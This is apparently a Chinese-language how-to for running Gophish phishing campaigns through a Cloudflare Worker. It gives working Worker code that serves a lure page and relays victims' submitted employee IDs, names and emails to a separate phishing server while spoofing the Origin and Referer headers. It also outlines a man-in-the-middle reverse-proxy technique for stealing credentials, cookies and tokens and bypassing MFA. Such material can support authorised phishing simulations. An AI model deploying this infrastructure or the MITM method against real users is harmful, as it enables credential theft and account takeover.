该文件将使用CF Workers 做为无服务器服务样例,请提前创建一个Workers
前提条件
1、以实现Gophsih平台部署,需要将原有配置中8080端口通过域名发布
2、熟悉各类云厂商无服务器服务,如:AWS Lambda、Azure Functions、Google Cloud Functions、阿里云 FC 、Cloudflare Workers等
3、熟悉HTTP 协议,了解POST 请求构建方法
原理
以下是用户在访问gophish邮件中用于钓鱼的页面时的完整请求动作,gophish仅会对请求中RID值进行匹配;用户GET请求时,gophish后台将增加一个打开的记录,用户POST请求时,gophish后台会增加一个提交记录,其记录值为POST请求的body。
通过Worker部署一个页面,当用户进行get请求时,Worker将构建get请求到Gophish;当用户进行post请求时,将会带body构建post请求到Gophish。
GET 请求
GET /?rid=ShAO7jn HTTP/1.1
Host:
Connection: keep-alive
sec-ch-ua: "Google Chrome";v="137", "Chromium";v="137", "Not/A)Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9
Cookie:
POST 请求
POST /?rid=ShAO7jn HTTP/1.1
Host:
Connection: keep-alive
Content-Length: 48
Cache-Control: max-age=0
sec-ch-ua: "Google Chrome";v="137", "Chromium";v="137", "Not/A)Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9
employeeId=0000&fullName=0000&email=0000%401.com
Gophsih landing pages 配置
由于用户不与gophish交互,这个landing pages不需要任何效果配置,仅需要保持存在一个可后面调用的空页面即可。
域名配置
1、通过反向代理方式将原配置中8080端口映射一个域名,如:api-phish.domain.com,并为该域名配置TLS 证书
2、将要用于生成钓鱼链接的域配置指向Workers
构建Workers
以下代码作为参考,需要修改或添加的部分已经进行注释
1、自行添加HTML 部分内容
2、配置修改Origin及Referer 域名为Workers自定义域
3、配置API域名为解析Gophish 8080端口域名
addEventListener('fetch', event => {
event.respondWith(handleRequest(event));
});
async function handleRequest(event) {
const url = new URL(event.request.url);
const rid = url.searchParams.get('rid');
if (!rid) {
return new Response('Missing rid parameter', { status: 400 });
}
if (event.request.method === 'GET') {
return handleGetRequest(event, rid); // 传递 event 对象
} else if (event.request.method === 'POST') {
return handlePostRequest(event, rid);
} else {
return new Response('Method not allowed', { status: 405 });
}
}
async function handleGetRequest(event, rid) { // 接收 event 对象
// 模拟 GET 请求到目标服务器
const targetUrl = `https://api-phish.sunglowsec.com/?rid=${rid}`;
try {
const getResponse = await fetch(targetUrl); // 发送 GET 请求
if (getResponse.ok) {
console.log('GET request to target server successful');
// 可以选择在此处处理 GET 请求的响应
// 例如,读取响应内容: const responseText = await getResponse.text();
} else {
console.error('GET request to target server failed:', getResponse.status, getResponse.statusText);
}
} catch (error) {
console.error('Error during GET request:', error);
}
const html = `
<!DOCTYPE html><html lang="zh-CN"><head>
<meta charset="UTF-8"/>
//增加HTML代码
</body></html>
`;
return new Response(html, {
headers: { 'Content-Type': 'text/html' },
});
}
async function handlePostRequest(event, rid) {
const formData = await event.request.formData();
const employeeId = formData.get('employeeId');
const fullName = formData.get('fullName');
const email = formData.get('email');
if (!employeeId || !fullName || !email) {
return new Response('Missing form data', { status: 400 });
}
const body = new URLSearchParams({
employeeId: employeeId,
fullName: fullName,
email: email,
}).toString();
// 模拟 POST 请求到目标服务器
const fetchOptions = {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'https://login-mitm-test.yangzihome.space', // 设置正确的 Origin
'Referer': `https://login-mitm-test.yangzihome.space/?rid=${rid}`, // 设置正确的 Referer
},
body: body,
};
console.log("body",body)
const targetUrl = `https://api-phish.domain.com/?rid=${rid}`;
try {
const response = await fetch(targetUrl, fetchOptions);
if (response.ok) {
return new Response('领取成功!', {
headers: { 'Content-Type': 'text/html; charset=utf-8' },
});
} else {
console.error('Target server returned an error:', response.status, response.statusText);
return new Response(`Failed to submit data. Target server returned ${response.status}`, { status: 500 });
}
} catch (error) {
console.error('Error during fetch:', error);
return new Response('Failed to submit data. An error occurred.', { status: 500 });
}
}
创建Gophish活动
1、调用的 landing pages 为上方配置的空内容模板
2、配置URL 为Workers自定义域
中间人攻击(Man-in-the-Middle Attack, MITM)钓鱼
Cloudflare Workers 可以被用作反向代理服务器,拦截用户和原始服务器之间的通信。1
攻击者可以创建一个 Cloudflare Worker 应用,充当透明代理,将受害者的请求转发到合法的网站,并捕获响应。21
在将响应显示给受害者之前,攻击者的应用会将合法网站的域名替换为自己的域名,诱骗受害者在攻击者的应用上输入凭据。2
这种方式可以窃取登录凭证、cookies 和令牌,甚至可以绕过多因素身份验证 (MFA)。
可将监听的部分内容通过API接口传回Gophsih